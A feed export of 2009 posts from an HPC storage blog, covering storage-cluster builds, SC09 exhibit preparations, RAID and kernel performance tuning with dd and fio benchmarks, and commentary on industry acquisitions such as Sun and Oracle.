https://blog.scalability.org/2009/11/twitter-updates-for-2009-11-16/ Mon, 16 Nov 2009 06:05:00 +0000 https://blog.scalability.org/2009/11/twitter-updates-for-2009-11-16/ * On #[sc09](http://search.twitter.com/search?q=%23sc09) show floor booth 635 setting up the Pegasus box. Will ha a nice #[hpc](http://search.twitter.com/search?q=%23hpc) #[storage](http://search.twitter.com/search?q=%23storage) and processing machine [#](http://twitter.com/sijoe/statuses/5744988683) Powered by Twitter Tools https://blog.scalability.org/2009/11/sc09-t-3-days-shipped-everything-to-the-booth-by-ups/ Fri, 13 Nov 2009 12:11:37 +0000 https://blog.scalability.org/2009/11/sc09-t-3-days-shipped-everything-to-the-booth-by-ups/ Hopefully it will get there. Had to disassemble the CPU coolers in the Pegasus, and remove the disks from the JackRabbit. Pegasus has a pair of rocking Nehalem W5590 chips, 32 hard disks, 48 GB ram, a Tesla, a GTX260, and a pair of 10GbE ports. The JackRabbit was doing 1.8GB/s reads and 1.3 GB/s writes in tests right before we shipped. It also as a pair of 10GbEs, 72 GB ram, and a pair of W5580 Nehalems. https://blog.scalability.org/2009/11/ot-comparing-droid-to-iphone/ Fri, 13 Nov 2009 12:06:49 +0000 https://blog.scalability.org/2009/11/ot-comparing-droid-to-iphone/ My Blackberry is dying. And Verizon seems to like to disable useful things, like GPS, Wifi, and all manner of other things. So these nice fancy phones … its hard to make full use of them. I am looking at two options for replacement: iphone and droid. The latter is in a Motorola device, brand new, from Verizon. Verizon is at least getting the clue that disabling features is not a wise move in a competitive environment. https://blog.scalability.org/2009/11/twitter-updates-for-2009-11-12/ Thu, 12 Nov 2009 06:05:00 +0000 https://blog.scalability.org/2009/11/twitter-updates-for-2009-11-12/ * Does anyone actually delete their pr0n followers? Or do you let them accumulate? Just curious. [#](http://twitter.com/sijoe/statuses/5641846105) * Machines for #[sc09](http://search.twitter.com/search?q=%23sc09) have been built. With any luck, we'll ship them tomorrow. Then I'll set it up at the booth. May buy a monitor there ... [#](http://twitter.com/sijoe/statuses/5641868843) * working on #[hpc](http://search.twitter.com/search?q=%23hpc) #[storage](http://search.twitter.com/search?q=%23storage) #[cluster](http://search.twitter.com/search?q=%23cluster) specs document for #[sc09](http://search.twitter.com/search?q=%23sc09) announcement [#](http://twitter.com/sijoe/statuses/5641897733) Powered by Twitter Tools https://blog.scalability.org/2009/11/this-doesnt-look-like-its-going-to-end-any-other-way-but-badly/ Wed, 11 Nov 2009 04:37:46 +0000 https://blog.scalability.org/2009/11/this-doesnt-look-like-its-going-to-end-any-other-way-but-badly/ News from the EU regulators. They are objecting to the hookup between Sun and Oracle. Whether or not their objections have merit … their focus appears to be a loss of competition to Oracle from the “loss” of an independent MySQL … this is not good for Sun. There are 2 possible outcomes from the EU at the end of the process. They will either accept the acquisition, or disallow it. https://blog.scalability.org/2009/11/sc09-talk-bits/ Tue, 10 Nov 2009 13:16:02 +0000 https://blog.scalability.org/2009/11/sc09-talk-bits/ I’ll be giving a talk at SC09 about the design and installation of our new siCluster (storage cluster) product. The talk is entitled “Feeding the hungry Gopher”. I’ll explain that in a moment. It is Tuesday, November 17th, 3-3:30pm, at the Minnesota Supercomputing Institute booth. The gopher is the mascot of the University of Minnesota. The hungry gopher(s) are, in this case, the 1000+ nodes of their new HP cluster named Itasca. https://blog.scalability.org/2009/11/sc09-booth-bits/ Tue, 10 Nov 2009 13:01:17 +0000 https://blog.scalability.org/2009/11/sc09-booth-bits/ Ok, here’s the scoop. We will be in the Intel Partner Pavilion booth #3077. We are going to be bringing a nice JackRabbit JR4 and a Pegasus-GPU unit. The JR4 will have a pair of nice fast Intel Nehalem CPUs in it (probably X5550’s), and the Pegasus will have a pair of W5580’s. Both units will have a bit of RAM, and the JR4 will have 24x 500 GB disks, while the Pegasus will have, get this, 32x 500 GB disks. https://blog.scalability.org/2009/11/the-joy-that-is-mmap/ Sat, 07 Nov 2009 18:59:16 +0000 https://blog.scalability.org/2009/11/the-joy-that-is-mmap/ Mmap is a way to provide file IO in a nice simple manner. Create a buffer area, and as you read/write into that buffer, this is reflected physically into the file. Oversimplification, but this is basically what it is. In most operating system, mmap makes direct use of the paging paths in the kernel. Why am I writing about this? Because the paging paths are some of the slowest paths in modern kernels, typically doing IO a page at a time. https://blog.scalability.org/2009/11/sc09-prep/ Mon, 02 Nov 2009 04:02:22 +0000 https://blog.scalability.org/2009/11/sc09-prep/ Next two weeks are going to be crazy. Prepping 2 machines for SC09, getting demos on there, testing them out (bits don’t die in transit … oh no… never happens :( ) Planning on a JR4 and a Pegasus. Likely a nice fast connection between the two. Pegasus will be interesting in that it will have many 2.5" disks, very fast Intel Nehalem chips, lots of RAM, and some nice fast GPU cards. https://blog.scalability.org/2009/11/business-brief/ Mon, 02 Nov 2009 03:50:42 +0000 https://blog.scalability.org/2009/11/business-brief/ If we simply stopped working today, after finishing up the orders in hand we need to deliver now, we would be reporting a 50% growth in revenue over last year. That is, if we worked for only 10 months out of 12… . I won’t comment on our pipeline other than to say I like it. Did I mention I have been very busy? https://blog.scalability.org/2009/10/weblog-awards-nominations-open-up-on-2-nov/ Fri, 30 Oct 2009 13:41:20 +0000 https://blog.scalability.org/2009/10/weblog-awards-nominations-open-up-on-2-nov/ Folks, have a look at this. Please consider nominating and voting for your favorite tech/HPC blogs (no, not dropping any hints … nosiree … none whatsoever … nothing to see here folks, move along …). https://blog.scalability.org/2009/10/would-you-take-operationalmarketing-advice-from-someone-without-such-experience/ Fri, 30 Oct 2009 11:15:02 +0000 https://blog.scalability.org/2009/10/would-you-take-operationalmarketing-advice-from-someone-without-such-experience/ We are starting a process to get some additional capital into the company, apart from operations and profit generation. That is going well. One of the aspects of this are discussions with people over our strategy and other elements of the business. Some of these conversations are amusing. Some are annoying. Few are really helpful or insightful. That is, a great deal of time and effort is expended, with little return back for expending the time and effort. https://blog.scalability.org/2009/10/reducing-risk-avoiding-the-bricking-phenomenon/ Fri, 30 Oct 2009 10:52:59 +0000 https://blog.scalability.org/2009/10/reducing-risk-avoiding-the-bricking-phenomenon/ Something happened this week in a storage cluster we set up for a customer. You’ll hear more about the storage cluster at SC09, but thats not what this is about. This is about risk, and how to reduce it. Risk is a complex thing to define in practice, but there are several … well … simple ways you can indicate relative risk. A motherboard and power supply blew in one of our nodes. https://blog.scalability.org/2009/10/updates-storage-cluster-sc09-and-other-things/ Thu, 29 Oct 2009 01:40:45 +0000 https://blog.scalability.org/2009/10/updates-storage-cluster-sc09-and-other-things/ Been busy. Incredibly busy. Back with the storage cluster fixing a blown KVM and as I found this morning, a blown motherboard (and I am hoping that this is it, but we are preparing to replace all of the innards … just in case). Storage cluster hit our performance targets in testing, even with IB running at 2/3 of rated speed. Working on finding out why 2/3 speed is the case vs full speed. https://blog.scalability.org/2009/10/good-performance-numbers-on-the-storage-gluster/ Fri, 23 Oct 2009 12:24:14 +0000 https://blog.scalability.org/2009/10/good-performance-numbers-on-the-storage-gluster/ I can’t go into them in depth, but we exceeded the performance targets (the system was purposefully designed to do this). The gluster team rocks! (I can’t emphasize this enough) Odd performance issue with the Mellanox QDR. Still trying to understand it, and hopefully will be able to update to our later kernel with the 1.5 OFED. I can say that running 24 parallel independent writes to each RAID w/o any parallel file system in there gave us about 20GB of sustained bandwidth to disk in aggregate, for writes far larger than system cache. https://blog.scalability.org/2009/10/cloud-is-over-hyped-no-you-dont-say/ Sun, 18 Oct 2009 14:37:17 +0000 https://blog.scalability.org/2009/10/cloud-is-over-hyped-no-you-dont-say/ There are some real nuggets of value in “the cloud”&tm; but as with “The Grid”&TM; there is a serious land grab underway, where everything is … er … cloudy. Yeah, thats a good phrase … cloudy. Though nebulous fits as well. And of course, clouds being water vapor … and often ice crystals … I couldn’t resist, my apologies. More seriously, some analyst houses are noticing the massive over-hyping. Now I am not a great fan of Gartner. https://blog.scalability.org/2009/10/it-storage-why-its-not-hpc-storage-and-shouldnt-be-used-where-you-need-hpc-storage/ Sat, 17 Oct 2009 05:44:07 +0000 https://blog.scalability.org/2009/10/it-storage-why-its-not-hpc-storage-and-shouldnt-be-used-where-you-need-hpc-storage/ In a previous article, I railedon the concept of IT designing clusters. I pointed out many flaws we have seen when this happens. I’d like to do the same thing with storage. This will be brief. Recently had a customer for our consulting ask us with deep incredulity, how one of our older 24 drive 7200 RPM SATA drive units could so thoroughly demolish (on benchmark testing) a brand new 24 drive 15kRPM SAS drive unit. https://blog.scalability.org/2009/10/disruption-in-hpc-and-storage/ Sat, 17 Oct 2009 02:28:29 +0000 https://blog.scalability.org/2009/10/disruption-in-hpc-and-storage/ On InsideHPC, John West has an interesting story on disruption in HPC markets, and predictions on success or failure of a business. There are some interesting tidbits evident throughout the article. This made me smile. Our Delta-V encompasses these ideas. Its designed to be a lower end storage target. The tools we have developed around it (and are continuing to develop) to enable simplified management are meant to make dealing with large numbers of these devices very easy. https://blog.scalability.org/2009/10/the-tipping-point-for-apus/ Sat, 17 Oct 2009 01:29:52 +0000 https://blog.scalability.org/2009/10/the-tipping-point-for-apus/ This news item on InsideHPC made me smile. In short, the HPC application vendors do see the value in decreasing the cost of hardware for their HPC users. It keeps more money available for end users to purchase licenses, even in the face of declining budgets. There are other problems, such as the software license cost now being substantially higher than the cost of the hardware to run the HPC codes on, but that is another problem. https://blog.scalability.org/2009/10/hpc-community-leadership-awards-poll-at-insidehpc/ Fri, 16 Oct 2009 23:28:20 +0000 https://blog.scalability.org/2009/10/hpc-community-leadership-awards-poll-at-insidehpc/ If you haven’t seen this yet, have a look at what the InsideHPC team are up to. They are hosting a poll on who (people/groups) are providing the most impactful leadership in HPC. The post and poll are here. By all means, do go and express your opinion via the poll, and drop a comment to John and the crew on this award. https://blog.scalability.org/2009/10/been-busy/ Fri, 16 Oct 2009 02:51:03 +0000 https://blog.scalability.org/2009/10/been-busy/ We just shipped (at 5pm tonight) the storage cluster. I didn’t announce any performance data for it. I can say that this unit has 24 RAID adapters. And QDR IB … 8 ports (going to 16 as soon as the extra cables arrive). It is using GlusterFS as the cluster file system. This project has kept us very busy over the last month. We have more in queue that we are working on. https://blog.scalability.org/2009/10/update-on-performance-regression/ Fri, 16 Oct 2009 02:30:30 +0000 https://blog.scalability.org/2009/10/update-on-performance-regression/ A new, updated, more stable RAID driver was used for our RAID card, and … while it was more stable, it has a significant performance regression when used with our updated kernel (actually any kernel 2.6.23 and beyond). Should have a fix soon. https://blog.scalability.org/2009/10/dealing-with-a-severe-performance-regression/ Mon, 12 Oct 2009 17:10:15 +0000 https://blog.scalability.org/2009/10/dealing-with-a-severe-performance-regression/ Same hardware, booting into baseline kernel vs an updated version of our kernel. Normal testing on our part has our updated kernel at a significant performance advantage to the baseline. Imagine my surprise when, while trying to diagnose an issue on a machine we are building, we found baseline to be significantly faster. The only thing that has really changed between this and the older kernel is a newer driver for RAID. https://blog.scalability.org/2009/10/was-cash-for-clunkers-a-good-thing-after-all/ Mon, 05 Oct 2009 13:09:40 +0000 https://blog.scalability.org/2009/10/was-cash-for-clunkers-a-good-thing-after-all/ I had posited in the past that, apart from the odd design and old vehicle destruction, that yes, it was a good thing in terms of generating additional sales. I argued that it didn’t go on long enough. Germany has had one in force for months, and it seems to have done a great deal of good, though there was no requirement for destruction of the turned in car, it could be scrapped, or broken down for parts, or … Ok. https://blog.scalability.org/2009/09/times-like-this-put-a-smile-on-my-face/ Wed, 30 Sep 2009 01:37:58 +0000 https://blog.scalability.org/2009/09/times-like-this-put-a-smile-on-my-face/ We are running some burn-in tests on the JackRabbit storage cluster. 6 of 8 nodes are up, 2 need to be looked at tomorrow. On one of the nodes, we have 3 RAID cards. Because of how the customer wants the unit, it is better for us to have 3 separate file systems. So thats what we have. They will all be aggregated shortly (hopefully tomorrow) with a nice cluster file system and some infiniband goodness. https://blog.scalability.org/2009/09/as-the-storage-cluster-builds/ Mon, 28 Sep 2009 00:56:35 +0000 https://blog.scalability.org/2009/09/as-the-storage-cluster-builds/ Finally finished the Tiburon changes for the storage cluster config. Storage clusters are a bit different than computing clusters in a number of regards, not the least of those being the large RAID in the middle. In this case, the storage cluster is 8 identical JackRabbit JR5 units, each with 24 TB storage, 48 drives, 3 RAID cards, dual port QDR cards, and for our testing, we are using an SDR network (as we don’t have a nice 8 port QDR switch in house). https://blog.scalability.org/2009/09/is-raid-over/ Fri, 25 Sep 2009 04:46:01 +0000 https://blog.scalability.org/2009/09/is-raid-over/ Henry Newman and a few other people I know are talking about RAID as being on the way out. John West pointed at this article this morning on InsideHPC. Their points are quite interesting. It boils down to this: If the time to rebuild a failed raid is comparable to the mean time between uncorrectable errors (UCE), due to reading/writing volume, then RAID as it is currently thought of, is going to need some serious rethinking. https://blog.scalability.org/2009/09/been-horrifically-busy-good-busy-but-busy/ Fri, 25 Sep 2009 02:15:53 +0000 https://blog.scalability.org/2009/09/been-horrifically-busy-good-busy-but-busy/ Will try to do updates soon, and I owe someone two articles (sorry!). Add to this fighting off a cold … not a happy camper. Basically we are building an 8x JackRabbit JR5 storage cluster right now. I’ve caught a problem in Tiburon, our OS loader, in the process, and am fixing it. Tiburon is all about providing a very simple platform to enable PXE (and/or iSCSI) booting OSes to make installation/support simple. https://blog.scalability.org/2009/09/ma-microsoft-buys-the-assets-of-interactive-supercomputing/ Tue, 22 Sep 2009 23:43:36 +0000 https://blog.scalability.org/2009/09/ma-microsoft-buys-the-assets-of-interactive-supercomputing/ As seen on InsideHPC, John West notes that the assets of Star-P were purchased by Microsoft today. Parsing of words is important. The phrase “acquired the assets of X” means that the IP was purchased. John points to the blog post where Kyril Faenov mentions that some of the staff will work at the Microsoft Cambridge site. This is sadly, not a great exit for Star-P. Acquiring assets usually means the choice has been to shut down the company, and auction the bits off, or find a buyer for the distressed assets and then wind down the rest of the organization that doesn’t go with the assets. https://blog.scalability.org/2009/09/the-looming-storage-bandwidth-wall/ Mon, 21 Sep 2009 17:36:45 +0000 https://blog.scalability.org/2009/09/the-looming-storage-bandwidth-wall/ This has been bugging me for a while. Here is a simple measure of the height of the bandwidth wall. Take the size of your storage, and divide it by the maximum speed of your access to the data. This is the height of your wall, as measured in seconds. The time to read your data. The higher the wall, the more time you need to read your data. Ok, lets apply this in practice. https://blog.scalability.org/2009/09/ma-continues-dell-snarfs-up-pds/ Mon, 21 Sep 2009 16:13:28 +0000 https://blog.scalability.org/2009/09/ma-continues-dell-snarfs-up-pds/ This is going to make a few Dell partners (Wipro et al) nervous. Sort of like the HP acquisition of EDS did. Is it possible that the service providers are going to be snapped up now to provide differentiated value in the face of declining revenues for hardware? Does this mean anything for HPC or storage? Not this particular acquisition. Perot Data Systems wasn’t/isn’t really a player in HPC to any significant degree. https://blog.scalability.org/2009/09/twitter-updates-for-2009-09-16/ Wed, 16 Sep 2009 07:05:00 +0000 https://blog.scalability.org/2009/09/twitter-updates-for-2009-09-16/ * @[chris_bloke](http://twitter.com/chris_bloke) Oddly, I seem to remember my business partner working on stuff like this last year at his day job. Will ask. [in reply to chris_bloke](http://twitter.com/chris_bloke/statuses/3952863681) [#](http://twitter.com/sijoe/statuses/4005434311) Powered by Twitter Tools https://blog.scalability.org/2009/09/were-back-2/ Tue, 15 Sep 2009 04:54:12 +0000 https://blog.scalability.org/2009/09/were-back-2/ We were knocked off the air around 11pm on 13-September, by a machine finally deciding to give up its ghost. A partially retired machine which happened to run scalability.org decided, finally, that it no longer wished to correctly run grub. Grub being the thing essential to booting. Like the bootloader. Yeah. It was one of those nights. I haven’t finished the figuring out why it died, and I am working on finishing restoring the services. https://blog.scalability.org/2009/09/using-fio-to-probe-iops-and-detect-internal-system-features/ Sat, 12 Sep 2009 14:29:39 +0000 https://blog.scalability.org/2009/09/using-fio-to-probe-iops-and-detect-internal-system-features/ Scalable Informatics JackRabbit JR3 16TB storage system, 12.3TB usable. [root@jr3 ~]# df -m /data Filesystem 1M-blocks Used Available Use% Mounted on /dev/sdc2 12382376 425990 11956387 4% /data [root@jr3 ~]# df -h /data Filesystem Size Used Avail Use% Mounted on /dev/sdc2 12T 417G 12T 4% /data These tests are more to show the quite remarkable utility of the fio tool than anything else. You can probe real issues in your system (as compared to a broad swath of ‘benchmark’ tools that don’t really provide a useful or meaningful measure of anything) This is on a RAID6, so its not really optimal for for seeks. https://blog.scalability.org/2009/09/scalable-informatics-jackrabbit-jr3-streaming-benchmarks-the-next-generation/ Sat, 12 Sep 2009 01:33:55 +0000 https://blog.scalability.org/2009/09/scalable-informatics-jackrabbit-jr3-streaming-benchmarks-the-next-generation/ Previously, JackRabbit JR3 units, with single RAID cards, have been hovering around 750MB/s read and write. This was our second generation unit. First generation units were about 600 MB/s +/- a bit. The third generation unit is faster. [root@jr3 ~]# dd if=/dev/zero of=/data/big.file ... 4096+0 records in 4096+0 records out 68719476736 bytes (69 GB) copied, 84.9058 seconds, 809 MB/s [root@jr3 ~]# dd if=/data/big.file of=/dev/null ... 4096+0 records in 4096+0 records out 68719476736 bytes (69 GB) copied, 66. https://blog.scalability.org/2009/09/scalable-informatics-is-now-part-of-the-hpc-advisory-council/ Fri, 11 Sep 2009 20:20:34 +0000 https://blog.scalability.org/2009/09/scalable-informatics-is-now-part-of-the-hpc-advisory-council/ For the day job … We are happy about joining this group. Interest in our high performance storage and computing systems continues to grow across multiple sectors. As users need to store and process exponentially growing amounts of data, they need systems, fabrics and designs capable of scaling without introducing additional barriers. This group represents those that build and those that use such technology. https://blog.scalability.org/2009/09/not-going-to-attend-olf-this-year-even-though-we-want-to/ Fri, 11 Sep 2009 02:34:05 +0000 https://blog.scalability.org/2009/09/not-going-to-attend-olf-this-year-even-though-we-want-to/ Ohio Linux Fest is September 25-27, 2009 in Columbus OH this year. Sadly we won’t be going. The major reason we won’t be going is we plan to be at (or driving to) a customer site during that weekend. We are building a storage cluster for this customer, and we will be talking about it soon. The secondary reason is we are looking to more carefully deploy our marketing budget. There is a possibility of sharing a booth with a partner at SC09, and we don’t have an infinitely deep marketing budget, so I have to make choices. https://blog.scalability.org/2009/09/fighting-the-dmraidmdadm-battles-in-initrd-for-rhelcentos-5-x/ Wed, 09 Sep 2009 04:11:51 +0000 https://blog.scalability.org/2009/09/fighting-the-dmraidmdadm-battles-in-initrd-for-rhelcentos-5-x/ dmraid is a technology to turn on-board fake-RAID (fRAID) systems into usable/bootable linux machines. It works for what it does, but you do need to be careful, as many of the fRAID chipsets have interesting … er … features. Yeah. Thats it, features. mdadm is a pure software version, requiring no assist from the bios. It can handle setting up RAID devices, and is our preferred way of creating RAID in software. https://blog.scalability.org/2009/09/sorry-about-the-downtime-quick-os-upgrade-on-the-server/ Tue, 08 Sep 2009 04:38:34 +0000 https://blog.scalability.org/2009/09/sorry-about-the-downtime-quick-os-upgrade-on-the-server/ Been meaning to do this for a while. Of course, after I did this, the DB broke. And then I had to fix that. Ok, the DB itself didn’t break, but the install of it did. Long story, not worth telling. Punchline: with some RPM and yum commands, I eradicated the evil bits and allowed the good bits to prevail. Yeah, I know, I should just virtualize the box and run it where-ever. https://blog.scalability.org/2009/09/non-locality-in-computing/ Sun, 06 Sep 2009 10:11:08 +0000 https://blog.scalability.org/2009/09/non-locality-in-computing/ I read an article a few weeks ago that mirrors some of the things I’ve said in the past about computing on huge systems. Basically, when you have a system of sufficiently large size, the communications fabric between the nodes are such that for any ith and jth node, the latencies and transit times may not be uniform, or worse, there may be significant time cost to communicate between various nodes. https://blog.scalability.org/2009/09/twitter-updates-for-2009-09-05/ Sat, 05 Sep 2009 07:05:00 +0000 https://blog.scalability.org/2009/09/twitter-updates-for-2009-09-05/ * I just added myself to [http://twitr.org](http://twitr.org) Twitter Directory under #[hpc](http://search.twitter.com/search?q=%23hpc) #[storage](http://search.twitter.com/search?q=%23storage) #[accelerated](http://search.twitter.com/search?q=%23accelerated) [#](http://twitter.com/sijoe/statuses/3755531868) Powered by Twitter Tools https://blog.scalability.org/2009/09/zombie-modeling-a-possible-new-hpc-application/ Sat, 05 Sep 2009 00:50:45 +0000 https://blog.scalability.org/2009/09/zombie-modeling-a-possible-new-hpc-application/ I had a laugh when I read Professor Robert Smith?’shome page (the question mark is really there). Ok … imagine having a thesis advisor like this … Man that would be fun research! Shawn of the dead as source material … Seriously, …he has a paper on Zombie modeling, and the first few pages I glanced through, I actually think I understood. His focus is epidemiology. This is certainly something worthwhile, and it appears that the zombie modeling is using zombie as a placeholder for some unknown infectious disease with specific characteristics. https://blog.scalability.org/2009/09/now-thats-one-big-pepperoni-pizza/ Fri, 04 Sep 2009 19:24:07 +0000 https://blog.scalability.org/2009/09/now-thats-one-big-pepperoni-pizza/ Get ready to laugh a little … landman@metal:~$ dd if=/dev/zero of=big-huge-file-system-target.img bs=1k seek=2T count=1 1+0 records in 1+0 records out 1024 bytes (1.0 kB) copied, 4.4349e-05 s, 23.1 MB/s landman@metal:~$ ls -alF big-huge-file-system-target.img -rw-r--r-- 1 landman landman 2251799813686272 2009-09-04 17:25 big-huge-file-system-target.img landman@metal:~$ ls -alhF big-huge-file-system-target.img -rw-r--r-- 1 landman landman 2.1P 2009-09-04 17:25 big-huge-file-system-target.img 2.1PB file … eh ? Not so much … landman@metal:~$ ls -aslhF big-huge-file-system-target.img 4.0K -rw-r--r-- 1 landman landman 2. https://blog.scalability.org/2009/09/hpc-for-dummies-book/ Fri, 04 Sep 2009 18:32:28 +0000 https://blog.scalability.org/2009/09/hpc-for-dummies-book/ Doug Eadline has an e-book out. From the posting on Beowulf: It appears to be Windows/Mac only though (not Doug’s fault, don’t blame him). Hopefully a sane version (e.g. PDF) will be generated soon. Doug is, of course, the chief monkey at Cluster Monkey, and an all around good guy. https://blog.scalability.org/2009/09/nailed-it-unfortunately/ Fri, 04 Sep 2009 12:56:02 +0000 https://blog.scalability.org/2009/09/nailed-it-unfortunately/ This article is right on the money. Yeah, sounds about right. The states' 21st century fund is “investing” in buggy whips … advanced manufacturing, homeland security, energy, and biotech. Which are things that this state is not know for. But the “investments” are poorly done, which might even be an optimistic view of them, with the focus areas, and investment process being … well … not well thought out. Politically, it plays well to various interests. https://blog.scalability.org/2009/09/oracle-sun-roundup/ Fri, 04 Sep 2009 11:03:35 +0000 https://blog.scalability.org/2009/09/oracle-sun-roundup/ First is the news that the merger may be running afoul of the European regulators. It would be a (terminal) disaster for Sun if it did. Their revenues continue to crater quarter after quarter. Customers do not like uncertainty. The rationale for this is reduction in competition in the DB market. Because of MySQL. Which, if you read other technical blogs and news sources for MySQL, Sun seems to have managed to piss off their community of users and contributers. https://blog.scalability.org/2009/09/which-cpu-is-faster-3-2-ghz-nehalem-w5580-or-2-6-ghz-istanbul/ Thu, 03 Sep 2009 11:13:42 +0000 https://blog.scalability.org/2009/09/which-cpu-is-faster-3-2-ghz-nehalem-w5580-or-2-6-ghz-istanbul/ Yes this is a loaded question. The context I use is a very simple double precision floating point loop, with the interior re-written to use SSE2. The idea is, if we run the identical program on the same machine, running one core, doing little else but double precision FP operations (in this case, computing the Riemann Zeta Function), with very little to no memory traffic … which CPU core will win on this very simple sprint? https://blog.scalability.org/2009/09/rhel-5-4-is-out-centos-5-4-forthcoming/ Wed, 02 Sep 2009 17:16:27 +0000 https://blog.scalability.org/2009/09/rhel-5-4-is-out-centos-5-4-forthcoming/ According to LWN (what, you’re not a subscriber? For shame!) Redhat EL 5.4 came out. With a long awaited feature. XFS. Redhat, its about time. It was added into the kernel … what … 8 years ago? https://blog.scalability.org/2009/08/going-to-be-busy-with-a-storage-cluster-build-for-the-next-few-weeks/ Mon, 31 Aug 2009 00:08:59 +0000 https://blog.scalability.org/2009/08/going-to-be-busy-with-a-storage-cluster-build-for-the-next-few-weeks/ Should be fun, and I’ll talk more about it later on. Expect to see some interesting test case benchmarks start coming from us on this. https://blog.scalability.org/2009/08/rumor-of-hp-looking-at-sun-hw-acquisition/ Mon, 31 Aug 2009 00:03:17 +0000 https://blog.scalability.org/2009/08/rumor-of-hp-looking-at-sun-hw-acquisition/ Reported on the Inquirer site. The claim is that this deal would complement the EDS services business. Hmmm…. HP could take (and is taking) Sun’s business for effectively free. Why would they pay for something they can get for free? Something just doesn’t ring true about this, and I’d chalk this rumor up to more wishful thinking on the part of some of the reporters sources. Never mind the regulatory hurdles HP would have to go through as one of the top hardware vendors. https://blog.scalability.org/2009/08/in-the-end-it-is-all-about-money/ Fri, 28 Aug 2009 01:01:55 +0000 https://blog.scalability.org/2009/08/in-the-end-it-is-all-about-money/ An article on softpedia discusses the state of the windows/linux client and server markets. I can personally attest to seeing Microsoft scrambling to try to turn every Linux opportunity into a windows win, but I am not sure they completely grasp what they are up against. This article amplifies this. While I take issue with some of their wording … many customers we know are using Linux, free or paid subscription … precisely for the critical business needs, due to the control and cost issues. https://blog.scalability.org/2009/08/a-small-deltav-test/ Thu, 27 Aug 2009 11:40:38 +0000 https://blog.scalability.org/2009/08/a-small-deltav-test/ This is for a customer who wants to run a benchmark today. Wish we had a JackRabbit in the lab, but our engineering machine is at a customer site. One “blade” of a “CX1” with 3.2 GHz Nehalem’s, 24 GB ram (about to bump this to 72 GB for customer benchmark), an SDR Infiniband connection (1GB/s max). DeltaV3 (ΔV3) with an 8 disk RAID6 (6 data drives, maximum read speed of about 660 MB/s), and a 6 disk RAID10 (not being used for this test). https://blog.scalability.org/2009/08/ma-tibco-snaps-up-datasynapse/ Mon, 24 Aug 2009 17:41:17 +0000 https://blog.scalability.org/2009/08/ma-tibco-snaps-up-datasynapse/ See here. DataSynapse, for those who don’t know, makes tools that help financial services folks schedule work across large clusters. They are pretty big on wall street. They are now going to be part of Tibco. Competitors are Platform et al. As this Great Recession marches on, I do expect to see additional M&A; activity, in order to strengthen portfolios, provide capability enhancement, and so forth. It all comes down to cost-benefit analysis. https://blog.scalability.org/2009/08/sunoracle-update-not-done-yet-but-they-are-in-a-rush/ Sun, 23 Aug 2009 13:16:31 +0000 https://blog.scalability.org/2009/08/sunoracle-update-not-done-yet-but-they-are-in-a-rush/ It was reported earlier this week that Oracle received an OK from US DOJ to acquire Sun. A new article suggests the reason for the speed. How bad was it? This isn’t quite a cratering … unless you consider the last several quarters in a row. And this is because customers aren’t dumb, they know proprietary gear needs support (ignore the marketing … if you can’t buy the same bits on the open market from more than one source, it is proprietary). https://blog.scalability.org/2009/08/odd-gridengine-openmpi-1-3-x-interaction-non-advancing-jobs/ Sat, 22 Aug 2009 15:15:35 +0000 https://blog.scalability.org/2009/08/odd-gridengine-openmpi-1-3-x-interaction-non-advancing-jobs/ Banging my head against this one. OpenMPI 1.3.x is IMO one of the best MPI stacks available. It makes my life easy in many regards, and most of the time, it just works. Gridengine is a venerable job scheduler, albeit one that hasn’t done a great job with MPI integration in the past. I remember writing reaper scripts to clean up after MPICH1/2 runs for various customers. Tight integration as it is called, didn’t work that well. https://blog.scalability.org/2009/08/try-buy-programs/ Wed, 19 Aug 2009 21:57:27 +0000 https://blog.scalability.org/2009/08/try-buy-programs/ We no longer do try and buy programs. We’ve found that customers would use our unit to lever our competitors down in price, and extract additional concessions from them. Just walk them by our box with the blinkenlights, and the nice logos … scared quite a few sales reps into submission. Then we get our box back after the other vendor is suitably scared. There’s no upside for us, at all. https://blog.scalability.org/2009/08/business-focus-scaling-programs-up/ Wed, 19 Aug 2009 18:42:51 +0000 https://blog.scalability.org/2009/08/business-focus-scaling-programs-up/ This is about scalability in processes and administration of programs, not really HPC. Last month, I took advantage of cash 4 clunkers. I got rid of a car I swore to drive into the ground (which I nearly did). In 4 days, the government is finally admitting, it had 250k transactions. The dealerships were crowded. The websites, which were the font of all information and arrangements? Basically massively overloaded. Fast forward to today, where I saw this article. https://blog.scalability.org/2009/08/rumors-of-infinibands-imminent-demise/ Tue, 18 Aug 2009 13:32:58 +0000 https://blog.scalability.org/2009/08/rumors-of-infinibands-imminent-demise/ … are greatly exaggerated. John at InsideHPC has an article on Cisco’s move out of Infiniband which refers to another article on this. I have to basically say, I’ll believe 10GbE conquering IB when I see it. Every year is proclaimed to be the year that IB is vanquished by 10GbE. I was reporting on this stuff 2+ years ago, and asked very simple questions just last year. When will 10GbE come into its own in HPC? https://blog.scalability.org/2009/08/been-excessively-busy-my-apologies/ Mon, 17 Aug 2009 14:22:57 +0000 https://blog.scalability.org/2009/08/been-excessively-busy-my-apologies/ generating many quotes, finalizing bits on storage cluster wins (you’ll hear about this soon), taking orders, starting several benchmark and support efforts, speaking to a group to help us get started raising capital. Busy busy busy … https://blog.scalability.org/2009/08/opensuse-issues-with-a-few-things-for-cluster/ Mon, 10 Aug 2009 12:00:32 +0000 https://blog.scalability.org/2009/08/opensuse-issues-with-a-few-things-for-cluster/ First off, it appears that the zypper problem is solved. Zypper shares some similer command line bits with yum. This helped with a faster learning curve. Zypper also supports a feature I wish were in yum, but I use grep for. zypper search gcc and yum list | grep gcc are the same in function. Zypper is also much faster than yum. Interpreted languages don’t work so well with large data sets, such as many installation packages, and dense dependency trees they have to construct and traverse. https://blog.scalability.org/2009/08/opensuse-11-1-allows-ofed-1-4-2-to-compile/ Sun, 09 Aug 2009 20:51:52 +0000 https://blog.scalability.org/2009/08/opensuse-11-1-allows-ofed-1-4-2-to-compile/ Ok, we had to use our 2.6.27.9 kernel, but it works fine otherwise. This looks like a reasonable solution to the customers problem. Will be able to reload most of their compute nodes remotely, the head node may be more complex. I need to see if binaries compiled on OpenSuSE 10.2 will work w/o problem on OpenSuSE 11.1. I suspect so, but the Ubuntu 8.xx and 9.xx used different glibc/gcc bits and caused a few hiccups for some apps. https://blog.scalability.org/2009/08/nih-syndrome-yum-doesnt-work-on-suse-11-1/ Sun, 09 Aug 2009 15:30:13 +0000 https://blog.scalability.org/2009/08/nih-syndrome-yum-doesnt-work-on-suse-11-1/ It seems that yum, a reasonably good, quite standard, and powerful tool for maintaining systems across Redhat/Centos, Fedora, and multiple other distributions … was deprecated in SuSE in favor of an “Invented Here” tool such as zypper. 